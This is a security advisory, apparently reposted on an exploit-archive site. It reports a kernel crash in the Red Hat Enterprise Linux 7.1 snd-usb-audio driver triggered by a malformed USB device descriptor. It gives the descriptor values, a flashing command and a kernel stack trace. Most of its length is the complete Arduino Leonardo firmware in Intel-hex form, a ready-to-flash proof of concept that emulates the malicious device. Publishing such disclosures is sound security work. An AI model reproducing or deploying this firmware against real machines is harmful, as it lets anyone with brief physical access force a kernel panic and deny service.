扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 |
OS-S Security Advisory 2016-17 Linux snd-usb-audio Multiple Free Date: March 4th, 2016 Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg CVE: not yet assigned CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes (multiple free) on invalid USB device descriptors (snd-usb-audio driver) Severity: Critical. The Kernel panics. A reboot is required. Ease of Exploitation: Trivial Vulnerability type: Wrong input validation Products: RHEL 7.1 including all updates Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7) Vendor: Red Hat Vendor contacted: November, 12th 2015 PDF of advisory: https://os-s.net//advisories/OSS-2016-17_snd-usb-audio.pdf Abstract: The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB device requiring the snd-usb-audio driver. Detailed product description: We confirmed the bug on the following system: RHEL 7.1 Kernel 3.10.0-229.20.1.el7.x86_64 Kernel 3.10.0-327.10.1.el7.x86_64 Further products or kernel versions have not been tested. How reproducible: Always Actual results: Kernel crashes. Description: The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor: [*] Device-Descriptor bLength: 0x12 bDescriptorType: 0x1 bcdUSB: 0x200 bDeviceClass: 0x3 bDeviceSubClass: 0x0 bDeviceProtocol: 0x0 bMaxPacketSize: 0x40 idVendor: 0x582 idProduct: 0x0 bcdDevice: 0x100 iManufacturer: 0x1 iProduct: 0x2 iSerialNumbers: 0x3 bNumConfigurations: 0x1 This is the configuration descriptor containing the malicious value for bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the system (multiple free). [*] Configuration-Descriptor bLength: 0x9 bDescriptorType: 0x2 wTotalLength: 0x27 bNumInterfaces: 0x1 bConfigurationValue: 0x1 iConfiguration: 0x0 bmAttributes: 0x0 bMaxPower: 0x31 [*] Interface-Descriptor bLength: 0x9 bDescriptorType: 0x4 bInterfaceNumber: 0x0 bAlternateSetting: 0x0 bNumEndpoints: 0x3 bInterfaceClass: 0x0 bInterfaceSubClass: 0x0 bInterfaceProtocol: 0x0 [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x81 bmAttribut: 0x3 wMaxPacketSize: 0x404 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x1 bmAttribut: 0x2 wMaxPacketSize: 0x4 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x82 bmAttribut: 0x1 wMaxPacketSize: 0x4 bInterval: 0xc A Kernel Address Sanitizer (KASan) report is available at https://os-s.net/advisories/OSS-2016-17_KASan_Report.txt. Proof of Concept: For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device. avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex The firmware has been attached to this bug report. To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3! Severity and Ease of Exploitation: The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required. Vendor Communication: We contacted Red Hat on the November, 12th 2015. To this day, no security patch was provided by the vendor. Since our 90-day Responsible Discourse deadline is expired, we publish this Security Advisory. References: https://bugzilla.redhat.com/show_bug.cgi?id=1283358 Kernel Stacktrace: [ 32.951497] usb 1-1: new full-speed USB device number 2 using xhci_hcd [ 33.172627] usb 1-1: New USB device found, idVendor=0582, idProduct=0000 [ 33.179073] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 33.186972] usb 1-1: Product: Ä? [ 33.190732] usb 1-1: Manufacturer: Ä? [ 33.195718] usb 1-1: SerialNumber: % [ 33.206296] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc says 96 microframes [ 33.344127] BUG: unable to handle kernel NULL pointer dereference at (null) [ 33.345023] IP: [<ffffffffa041d063>] free_substream.part.0+0x53/0x70 [snd_usb_audio] [ 33.345023] PGD 0 [ 33.345023] Oops: 0000 [#1] SMP [ 33.345023] Modules linked in: snd_usb_audio(+) snd_usbmidi_lib snd_hwdep snd_rawmidi snd_seq snd_seq_device snd_pcm snd_timer snd soundcore ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod [ 33.345023] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1 [ 33.345023] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014 [ 33.345023] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000 [ 33.345023] RIP: 0010:[<ffffffffa041d063>] [<ffffffffa041d063>] free_substream.part.0+0x53/0x70 [snd_usb_audio] [ 33.345023] RSP: 0018:ffff88000bd239b8 EFLAGS: 00010217 [ 33.345023] RAX: ffff88000c53c101 RBX: ffff88000c53c080 RCX: 00000000000067bd [ 33.345023] RDX: 00000000000067bc RSI: ffffea00002f5400 RDI: ffff88000e401900 [ 33.345023] RBP: ffff88000bd239d8 R08: 0000000000016420 R09: ffff88000fc16420 [ 33.345023] R10: ffffea0000314f00 R11: ffffffffa041d060 R12: 0000000000000000 [ 33.345023] R13: ffff8800000588b8 R14: ffff880000058818 R15: 0000000000000000 [ 33.345023] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000 [ 33.345023] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 33.345023] CR2: 0000000000000000 CR3: 000000000bd05000 CR4: 00000000000006f0 [ 33.345023] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 33.345023] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 33.345023] Stack: [ 33.345023] ffff880000058800 ffff880000058600 0000000000000000 ffff88000c388a68 [ 33.345023] ffff88000bd239f0 ffffffffa041d319 ffffffffa03da0b8 ffff88000bd23a10 [ 33.345023] ffffffffa03c88b8 ffff88000f5c2a80 ffff88000c388980 ffff88000bd23a20 [ 33.345023] Call Trace: [ 33.345023] [<ffffffffa041d319>] snd_usb_audio_pcm_free+0x69/0x70 [snd_usb_audio] [ 33.345023] [<ffffffffa03c88b8>] snd_pcm_free+0x58/0x90 [snd_pcm] [ 33.345023] [<ffffffffa03c8902>] snd_pcm_dev_free+0x12/0x20 [snd_pcm] [ 33.345023] [<ffffffffa03a2ec9>] __snd_device_free+0x29/0x80 [snd] [ 33.345023] [<ffffffffa03a319b>] snd_device_free_all+0x3b/0x50 [snd] [ 33.345023] [<ffffffffa039c8ae>] release_card_device+0x1e/0x80 [snd] [ 33.345023] [<ffffffff813cdde2>] device_release+0x32/0xa0 [ 33.345023] [<ffffffff812d6efe>] kobject_release+0x7e/0x1b0 [ 33.345023] [<ffffffff812d6db8>] kobject_put+0x28/0x60 [ 33.345023] [<ffffffff813ce107>] put_device+0x17/0x20 [ 33.345023] [<ffffffffa039cb09>] snd_card_free_when_closed+0x29/0x40 [snd] [ 33.345023] [<ffffffffa039cc64>] snd_card_free+0x54/0x90 [snd] [ 33.345023] [<ffffffffa041bf83>] ? create_composite_quirk+0x73/0xb0 [snd_usb_audio] [ 33.345023] [<ffffffffa040e991>] usb_audio_probe+0x251/0x8d0 [snd_usb_audio] [ 33.345023] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0 [ 33.345023] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390 [ 33.345023] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0 [ 33.345023] [<ffffffff813d3420>] ? __device_attach+0x40/0x40 [ 33.345023] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0 [ 33.345023] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20 [ 33.345023] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0 [ 33.345023] [<ffffffff813d3b34>] driver_register+0x64/0xf0 [ 33.345023] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160 [ 33.345023] [<ffffffffa0437000>] ? 0xffffffffa0436fff [ 33.345023] [<ffffffffa043701e>] usb_audio_driver_init+0x1e/0x1000 [snd_usb_audio] [ 33.345023] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230 [ 33.345023] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40 [ 33.345023] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0 [ 33.345023] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150 [ 33.345023] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0 [ 33.345023] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b [ 33.345023] Code: 0d eb 2e 0f 1f 44 00 00 4c 89 e3 49 89 c4 48 8b 7b 48 e8 81 de d8 e0 48 8b 7b 58 e8 78 de d8 e0 48 89 df e8 70 de d8 e0 4d 39 ec <49> 8b 04 24 75 d7 49 8b be b8 00 00 00 e8 5b de d8 e0 5b 41 5c [ 33.345023] RIP [<ffffffffa041d063>] free_substream.part.0+0x53/0x70 [snd_usb_audio] [ 33.345023] RSP <ffff88000bd239b8> [ 33.345023] CR2: 0000000000000000 [ 33.876830] ---[ end trace b239663354a1c556 ]--- [ 33.882175] Kernel panic - not syncing: Fatal exception [ 33.883149] drm_kms_helper: panic occurred, switching back to text console Arduino Leonardo Firmware: :100000000C94A8000C94C5000C94C5000C94C50079 :100010000C94C5000C94C5000C94C5000C94C5004C :100020000C94C5000C94C5000C94C4050C942F04CA :100030000C94C5000C94C5000C94C5000C94C5002C :100040000C94C5000C94C5000C94C5000C94C5001C :100050000C94C5000C94C5000C94C5000C940E02C1 :100060000C94C5000C94C5000C94C5000C94C500FC :100070000C94C5000C94C5000C94C5000C94C500EC :100080000C94C5000C94C5000C94C5000C94C500DC :100090000C94C5000C94C5000C94C5000C94C500CC :1000A0000C94C5000C94C5000C94C5000B030E0302 :1000B000010305032F032F032F03120316031A0353 :1000C000200324032F032A030000000200080E006F :1000D00000030401000B000000000000000000000D :1000E00000000000000004080201104080401020C1 :1000F00040804080080204018040201002011080EE :100100001020404004040404040304050202020217 :1001100004030202020206060606060604040202A0 :100120000204000000002300260029002C002F00FC :1001300000000000250028002B002E0031000000E8 :100140000000240027002A002D00300000C180811B :1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077 :10016000B1E0E4EDF3E102C005900D92A436B107D1 :10017000D9F725E0A4E6B5E001C01D92AF37B2077C :10018000E1F70E94C8000C9404070C940000089545 :10019000CF93DF93CDB7DEB7CD59D1090FB6F89421 :1001A000DEBF0FBECDBF0E94A1020E94C70060E06B :1001B00083E00E94300361E087E00E94300361E049 :1001C00088E00E9430030E9459067E012AE9E20E6F :1001D000F11C84E093E0D70111969C938E9389E003 :1001E00094E013969C938E93129782E2E2E1F1E001 :1001F0009E012F5F3F4F6901D90101900D928A95B1 :10020000E1F788E1E4E3F1E0DE01939601900D92DD :100210008A95E1F782E1ECE4F1E0DE01DB96019002 :100220000D928A95E1F789E0EEE5F1E0DE01A05953 :10023000BF4F01900D928A95E1F72A593F4F99E0FF :10024000992ED901E92D1D92EA95E9F78E010957FA :100250001F4F87E0E7E6F1E0D80101900D928A9503 :10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189 :1002700001900D928A95E1F7AE0147585F4F87E0F4 :10028000E5E7F1E0DA0101900D928A95E1F75E0170 :10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D :1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172 :1002B0001D92EA95E9F7E3E0DC011996EC93D90188 :1002C0009C92F4E01196FC9311971496EC93F9012B :1002D000DC01292D01900D922A95E1F7FE01EC56E3 :1002E000FF4FDC011B96FC93EE931A971D96BC9270 :1002F000AE921C971183008373836283558344837A :100300000C5211092CE0F80111922A95E9F721E02D :10031000D80119962C931997FE01E059FF4F0190CF :100320000D929A94E1F7F8019387828761E088E063 :100330000E9469038BE492E00E94650688E892E0DF :100340000E94650687EC92E00E94650686E093E0D5 :100350000E94650682E493E00E9465068FE793E0C1 :100360000E94650684EA93E00E9465068BEE93E0A6 :100370000E94650683E00E949F03892B09F047C015 :100380005E01F3E2AF0EB11C8824839482E1982EC3 :1003900084E194E00E946506BF92AF92DF92CF9213 :1003A000FF92EF921F928F921F930F932DB73EB73C :1003B000225131090FB6F8943EBF0FBE2DBFADB725 :1003C000BEB71196FE01FB96892D01900D928A957C :1003D000E1F78DE695E00E94030668E873E180E0AE :1003E00090E00E947B028DE695E00E944E0660E060 :1003F00087E00E94690368E873E180E090E00E9472 :100400007B020FB6F894DEBF0FBECDBFC1CF6AE04E :1004100070E080E090E00E947B02ACCF1F920F92D0 :100420000FB60F9211242F933F938F939F93AF9307 :10043000BF938091650590916605A0916705B09185 :1004400068053091640523E0230F2D3720F40196D1 :10045000A11DB11D05C026E8230F0296A11DB11DE7 :10046000209364058093650590936605A0936705C6 :10047000B09368058091690590916A05A0916B051C :10048000B0916C050196A11DB11D809369059093F3 :100490006A05A0936B05B0936C05BF91AF919F91D6 :1004A0008F913F912F910F900FBE0F901F90189535 :1004B0003FB7F8948091690590916A05A0916B050A :1004C000B0916C0526B5A89B05C02F3F19F0019689 :1004D000A11DB11D3FBF6627782F892F9A2F620F6C :1004E000711D811D911D42E0660F771F881F991FA6 :1004F0004A95D1F70895CF92DF92EF92FF92CF9372 :10050000DF936B017C010E945802EB01C114D104FE :10051000E104F10479F00E9458026C1B7D0B683EE7 :100520007340A0F381E0C81AD108E108F108C8516E :10053000DC4FECCFDF91CF91FF90EF90DF90CF9029 :100540000895789484B5826084BD84B5816084BD4B :1005500085B5826085BD85B5816085BDEEE6F0E03C :10056000808181608083E1E8F0E010828081826098 :100570008083808181608083E0E8F0E08081816019 :100580008083E1E9F0E08081826080838081816006 :100590008083E0E9F0E0808181608083E1ECF0E03D :1005A000808184608083808182608083808181609B :1005B0008083E3ECF0E0808181608083E0ECF0E018 :1005C000808182608083E2ECF0E0808181608083C2 :1005D000EAE7F0E0808184608083808182608083AC :1005E000808181608083808180688083089590E02D :1005F000FC013197EE30F10590F5EA5AFF4F0C946B :10060000AB09809180008F7703C0809180008F7D3F :1006100080938000089584B58F7702C084B58F7D64 :1006200084BD0895809190008F7707C080919000DD :100630008F7D03C080919000877F80939000089504 :100640008091C0008F7703C08091C0008F7D809320 :10065000C00008958091C200877F8093C2000895F2 :10066000CF93DF9390E0FC01EA51FF4F2491FC010E :10067000EC5FFE4F8491882349F190E0880F991F29 :10068000FC01E25CFE4FA591B491805D9E4FFC01A0 :10069000C591D4919FB7611108C0F8948C912095B1 :1006A00082238C93888182230AC0623051F4F894AB :1006B0008C91322F309583238C938881822B888371 :1006C00004C0F8948C91822B8C939FBFDF91CF91C3 :1006D00008950F931F93CF93DF931F92CDB7DEB78B :1006E000282F30E0F901E853FF4F8491F901EA51D6 :1006F000FF4F1491F901EC5FFE4F04910023C9F004 :10070000882321F069830E94F7026981E02FF0E0DD :10071000EE0FFF1FE05DFE4FA591B4919FB7F894D7 :100720008C91611103C01095812301C0812B8C93A2 :100730009FBF0F90DF91CF911F910F910895CF939D :10074000DF93282F30E0F901E853FF4F8491F9013E :10075000EA51FF4FD491F901EC5FFE4FC491CC23D5 :1007600091F081110E94F702EC2FF0E0EE0FFF1FD5 :10077000EE5DFE4FA591B4912C912D2381E090E088 :1007800021F480E002C080E090E0DF91CF910895F5 :10079000615030F02091F100FC0120830196F8CFE8 :1007A000289884E680937D0508951092E9001092C0 :1007B00071051092700590936F0580936E050895F2 :1007C000FF920F931F93CF93DF93F82E8B01EA01D3 :1007D000BA01C8010E94A606F80120E030E08EEFC1 :1007E0002C173D0791F1F7FE02C0A49101C0A08132 :1007F000609170057091710540916E0550916F0583 :1008000064177507ACF49091E8009570E1F390914E :10081000E80092FD1CC0A093F100A0917005B0917A :1008200071051196AF73BB27AB2B11F48093E800D1 :10083000A0917005B09171051196B0937105A093C8 :1008400070052F5F3F4F3196CBCFC90102C08FEFAC :100850009FEFDF91CF911F910F91FF9008951F920D :100860000F920FB60F9211246F927F928F929F92E8 :10087000AF92BF92CF92DF92EF92FF920F931F93AE :100880002F933F934F935F936F937F938F939F9398 :10089000AF93BF93EF93FF93CF93DF93CDB7DEB7C3 :1008A0006297DEBFCDBF1092E9008091E80083FF20 :1008B00046C168E0CE010A960E94C80382EF809389 :1008C000E8009A8597FF05C08091E80080FFFCCF83 :1008D00003C08EEF8093E800892F807609F023C152 :1008E0008B85811105C01092F1001092F10020C19A :1008F000282F2D7F213009F41BC1853049F48091C8 :10090000E80080FFFCCF8C8580688093E30010C1F5 :10091000863009F0E1C02D8508891989223009F057 :10092000B3C0EC848E2D90E0209173053091740556 :10093000821793070CF09FC00E94D5031F92EF927D :100940008DE394E09F938F930E9483068CE0E89E52 :1009500070011124E0917505F0917605EE0DFF1DF3 :1009600089E0DE01119601900D928A95E1F7C801A8 :100970000E94D50349E050E0BE016F5F7F4F80E0E9 :100980000E94E0030F900F900F900F90C12CD12C7C :10099000612C712C33E7A32E34E0B32E4AEA842E67 :1009A00044E0942EE0917505F0917605EE0DFF1D63 :1009B000818590E0681679060CF0BAC07F926F923C :1009C000BF92AF920E948306E0917505F091760583 :1009D000EE0DFF1D628573856C0D7D1D49E050E0B5 :1009E00080E00E94E0030F900F900F900F9000E0C6 :1009F00010E0E0917505F0917605EE0DFF1D028483 :100A0000F385E02DEC0DFD1D818590E00817190799 :100A10005CF51F930F939F928F920E948306E09143 :100A20007505F0917605EE0DFF1D0284F385E02D2E :100A3000EC0DFD1DC801880F991FA485B585A80F71 :100A4000B91F4D915C910284F385E02DE80FF91FE9 :100A50006081718180E00E94E0030F5F1F4F0F9063 :100A60000F900F900F90C5CF8FEF681A780A8EE025 :100A7000C80ED11C97CF8FED94E09F938F930E9467 :100A800083060F900F9058C0C8012A8B0E94D5038F :100A90002A892130C1F0233009F04EC08C851F9285 :100AA0008F9389EF94E09F938F930E94830642E097 :100AB00050E062E871E080E00E94E0030F900F9048 :100AC0000F900F9035C04091000150E060E071E060 :100AD00080E00E94E0032CC0873071F1883021F45F :100AE00081E08093F10024C0893011F5937021F5E5 :100AF000EDE4F1E081E021E096E38093E9002093CA :100B0000EB0034913093EC009093ED008F5F3196C1 :100B1000843099F78EE78093EA001092EA008C8582 :100B20008093720505C0888999890E94D50304C005 :100B30008EEF8093E80003C081E28093EB00629621 :100B40000FB6F894DEBF0FBECDBFDF91CF91FF91FE :100B5000EF91BF91AF919F918F917F916F915F9135 :100B60004F913F912F911F910F91FF90EF90DF9048 :100B7000CF90BF90AF909F908F907F906F900F908D :100B80000FBE0F901F9018951F920F920FB60F92E5 :100B900011248F939F938091E1001092E10083FFD5 :100BA0000FC01092E90091E09093EB001092EC00DE :100BB00092E39093ED001092720598E09093F0000C :100BC00082FF1AC080917E05882339F080917E05CE :100BD000815080937E05882369F080917D0588236C :100BE00059F080917D05815080937D05811104C06D :100BF000289A02C05D9AF1CF9F918F910F900FBEFE :100C00000F901F901895CF93DF93CDB7DEB782E199 :100C1000FE013596A0E0B1E001900D928A95E1F7D2 :100C20008F89988D9093760580937505898D9A8D1F :100C300090937405809373058B8D9C8D90937C05A8 :100C400080937B058D8D9E8D90937A058093790599 :100C50008F8D98A1909378058093770510927205F7 :100C600081E08093D70080EA8093D80082E189BD3B :100C700009B400FEFDCF61E070E080E090E00E94EA :100C80007B0280E98093D8008CE08093E200109290 :100C9000E000559A209ADF91CF91089581E08093EA :100CA000E00008959091C80095FFFCCF8093CE009E :100CB00008951092CD0087E68093CC0088E1809360 :100CC000C9008EE08093CA0008950F931F93CF93BD :100CD000DF93EC018C01FE0101900020E9F73197D0 :100CE000EC1BFD0BC8018C1B9D0B8E179F0730F46E :100CF000F80181918F010E945206EDCFDF91CF91D3 :100D00001F910F910895CF93DF93CDB7DEB7DA959A :100D10000FB6F894DEBF0FBECDBFFE01EB5FFE4FF6 :100D2000419151919F0160E071E0CE0101960E94D6 :100D30000707CE0101960E946506D3950FB6F89479 :100D4000DEBF0FBECDBFDF91CF9108958F929F92EE :100D5000AF92BF92CF92DF92EF92FF920F931F93C9 :100D6000CF93DF9300D0CDB7DEB75B0122E535E04E :100D70003F932F9389839A830E9483068981882ECB :100D80009A81992E0F900F9000E010E08EE5E82EEA :100D900085E0F82E91E1C92E94E0D92E0A151B05A5 :100DA000E4F4F40181914F0190E09F938F93FF92BF :100DB000EF920E9483060F5F1F4FC8018F70992723 :100DC0000F900F900F900F90892B41F7DF92CF92E9 :100DD0000E9483060F900F90E1CF81E194E09F93F2 :100DE0008F930E9483060F900F900F900F90DF91CA :100DF000CF911F910F91FF90EF90DF90CF90BF9018 :100E0000AF909F908F900895F8940C94E809AEE00D :100E1000B0E0EDE0F7E00C94BF098C01CA0146E0B8 :100E20004C831A83098377FF02C060E070E8615049 :100E300071097E836D83A901BC01CE0101960E94D8 :100E400033074D815E8157FD0AC02F8138854217D7 :100E500053070CF49A01F801E20FF31F10822E964B :100E6000E4E00C94DB09ACE0B0E0E9E3F7E00C94DB :100E7000B1097C016B018A01FC0117821682838112 :100E800081FFBDC1CE0101964C01F7019381F601AE :100E900093FD859193FF81916F01882309F4ABC184 :100EA000853239F493FD859193FF81916F018532ED :100EB00029F4B70190E00E941B09E7CF512C312C97 :100EC00020E02032A0F48B3269F030F4803259F007 :100ED000833269F420612CC08D3239F0803339F4CB :100EE000216026C02260246023C0286021C027FD25 :100EF00027C030ED380F3A3078F426FF06C0FAE00C :100F00005F9E300D1124532E13C08AE0389E300DA1 :100F10001124332E20620CC08E3221F426FD6BC1C9 :100F2000206406C08C3611F4206802C0883641F473 :100F3000F60193FD859193FF81916F018111C1CFDE :100F4000982F9F7D9554933028F40C5F1F4FFFE33B :100F5000F9830DC0833631F0833771F0833509F0A2 :100F60005BC022C0F801808189830E5F1F4F44243B :100F70004394512C540115C03801F2E06F0E711CDE :100F8000F801A080B18026FF03C0652D70E002C08B :100F90006FEF7FEFC5012C870E9410092C018301A0 :100FA0002C852F77222E17C03801F2E06F0E711CAE :100FB000F801A080B18026FF03C0652D70E002C05B :100FC0006FEF7FEFC5012C870E9405092C012C854E :100FD0002068222E830123FC1BC0832D90E048163D :100FE0005906B0F4B70180E290E00E941B093A94E0 :100FF000F4CFF50127FC859127FE81915F01B701B0 :1010000090E00E941B0931103A94F1E04F1A510808 :101010004114510471F7E5C0843611F0893639F571 :10102000F80127FF07C060817181828193810C5F85 :101030001F4F08C060817181882777FD8095982FA8 :101040000E5F1F4F2F76B22E97FF09C090958095A7 :10105000709561957F4F8F4F9F4F2068B22E2AE089 :1010600030E0A4010E944D09A82EA81844C085377D :1010700029F42F7EB22E2AE030E025C0F22FF97F2E :10108000BF2E8F36C1F018F4883579F0B4C08037A0 :1010900019F0883721F0AFC02F2F2061B22EB4FE97 :1010A0000DC08B2D8460B82E09C024FF0AC09F2F6D :1010B0009660B92E06C028E030E005C020E130E09F :1010C00002C020E132E0F801B7FE07C06081718103 :1010D000828193810C5F1F4F06C06081718180E027 :1010E00090E00E5F1F4FA4010E944D09A82EA81882 :1010F000FB2DFF77BF2EB6FE0BC02B2D2E7FA51428 :1011000050F4B4FE0AC0B2FC08C02B2D2E7E05C0E0 :101110007A2C2B2D03C07A2C01C0752C24FF0DC016 :10112000FE01EA0DF11D8081803311F4297E09C092 :1011300022FF06C07394739404C0822F867809F04E :10114000739423FD13C020FF06C05A2C731418F4A7 :10115000530C5718732C731468F4B70180E290E0B5 :101160002C870E941B0973942C85F5CF731410F4FF :10117000371801C0312C24FF12C0B70180E390E082 :101180002C870E941B092C8522FF17C021FF03C05A :1011900088E590E002C088E790E0B7010CC0822F9C :1011A000867859F021FD02C080E201C08BE227FD64 :1011B0008DE2B70190E00E941B09A51438F4B70135 :1011C00080E390E00E941B095A94F7CFAA94F4019F :1011D000EA0DF11D8081B70190E00E941B09A1106A :1011E000F5CF332009F451CEB70180E290E00E94A0 :1011F0001B093A94F6CFF7018681978102C08FEFE1 :101200009FEF2C96E2E10C94CD09FC010590615012 :1012100070400110D8F7809590958E0F9F1F08950C :10122000FC016150704001900110D8F780959095B5 :101230008E0F9F1F08950F931F93CF93DF93182F47 :10124000092FEB018B8181FD03C08FEF9FEF20C041 :1012500082FF10C04E815F812C813D814217530770 :101260007CF4E881F9819F012F5F3F4F3983288308 :10127000108306C0E885F985812F0995892B29F708 :101280002E813F812F5F3F4F3F832E83812F902FF1 :10129000DF91CF911F910F910895FA01AA2728306D :1012A00051F1203181F1E8946F936E7F6E5F7F4F33 :1012B0008F4F9F4FAF4FB1E03ED0B4E03CD0670FAF :1012C000781F891F9A1FA11D680F791F8A1F911D02 :1012D000A11D6A0F711D811D911DA11D20D009F452 :1012E00068943F912AE0269F11243019305D319394 :1012F000DEF6CF010895462F4770405D4193B3E07D :101300000FD0C9F7F6CF462F4F70405D4A3318F023 :10131000495D31FD4052419302D0A9F7EACFB4E0D4 :10132000A6959795879577956795BA95C9F700978C :101330006105710508959B01AC010A2E069457952D :10134000479537952795BA95C9F7620F731F841F84 :10135000951FA01D0895EE0FFF1F0590F491E02D3D :1013600009942F923F924F925F926F927F928F9249 :101370009F92AF92BF92CF92DF92EF92FF920F9324 :101380001F93CF93DF93CDB7DEB7CA1BDB0B0FB62E :10139000F894DEBF0FBECDBF09942A8839884888EB :1013A0005F846E847D848C849B84AA84B984C88481 :1013B000DF80EE80FD800C811B81AA81B981CE0F78 :1013C000D11D0FB6F894DEBF0FBECDBFED0108955D :0413D000F894FFCFBF :1013D4001201000200000040AD0BEFBE000101024B :1013E4000001220342006100640020004200410029 :1013F40042004500250078002500780025006E0095 :1014040025007000180342004100440020004300FE :10141400300046004600450045002100120100024C :1014240000000040820500000001010203010902DE :10143400270001010000FA0705810304040C0705D5 :10144400010204000C0705820104000C07000700D8 :101454000700480100500072006F006C00690066CC :101464000069006300000A550000006BFD180A00C3 :10147400809F0AB901312B940A8101128946001315 :10148400000257028B0A5E0AF80A5F01F212010099 :1014940002010000400D055702000101020301B9D9 :1014A4000A0100F80A5F0A810A220342006100640B :1014B400002000420041004200450025007800253C :1014C40000780025006E00250070001803420041DA :1014D400004400200043003000460046004500451B :1014E40000210012010002010000400D0557020016 :1014F400010102030109040000030100000003F2DA :101504000AEC0A0902270001010000FA01AB0A09EA :101514000400000301000000090200202020202014 :101524005F5F5F5F5F5F5F5F2020202020202020BF 